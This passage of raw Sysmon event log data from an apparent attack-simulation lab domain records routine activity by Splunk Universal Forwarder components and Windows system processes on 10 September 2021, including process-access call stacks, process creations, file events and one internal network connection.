14:57:35.264{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016240Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:35.264{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016239Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:35.264{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016238Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:35.264{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016237Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:35.264{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016236Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:35.264{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016235Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:35.264{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016234Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:35.264{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-725F-613B-F404-00000000F101}804C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016233Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:35.264{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016232Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:35.264{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-725F-613B-F404-00000000F101}804C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016231Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:35.265{625C326B-725F-613B-F404-00000000F101}804C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000016230Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:35.233{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=5F3EF42EACD4EB69A744E8B1210EB6B1,SHA256=EF0B9A30CBB59AB6E170D06AC2B77E2064765B3DC468D1288AE3216F0A1CBC18,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048506Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:36.450{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EF1CEC216E1B73EE344882A5B4AF7862,SHA256=23FC6F65377462CDFFF6DEA28871BC84A63799052F7E1367F5BF9FE857A06668,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000016275Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:35.493{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50276-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 10341000x800000000000000016274Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:36.389{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7260-613B-F604-00000000F101}2344C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016273Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:36.389{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016272Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:36.389{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016271Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:36.389{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016270Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:36.389{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016269Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:36.389{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016268Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:36.389{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016267Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:36.389{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016266Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:36.389{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016265Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:36.389{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016264Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:36.389{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-7260-613B-F604-00000000F101}2344C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016263Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:36.389{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7260-613B-F604-00000000F101}2344C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016262Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:36.391{625C326B-7260-613B-F604-00000000F101}2344C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000016261Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:36.389{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5E1C70B1F4FDA029D0064AFD2E799B7D,SHA256=A9A4657D1F03A6BB23CE5E286F99DDD800A6286FF4D88B38D21DF58B8C525C1B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016260Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:36.280{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=13EF1E64C9228CCFEDEE7784EEDB3259,SHA256=9A5FE65C45212331AC9C7B750B655C1EC8E607CE2C69E45D155E3EFE78066C07,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048505Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 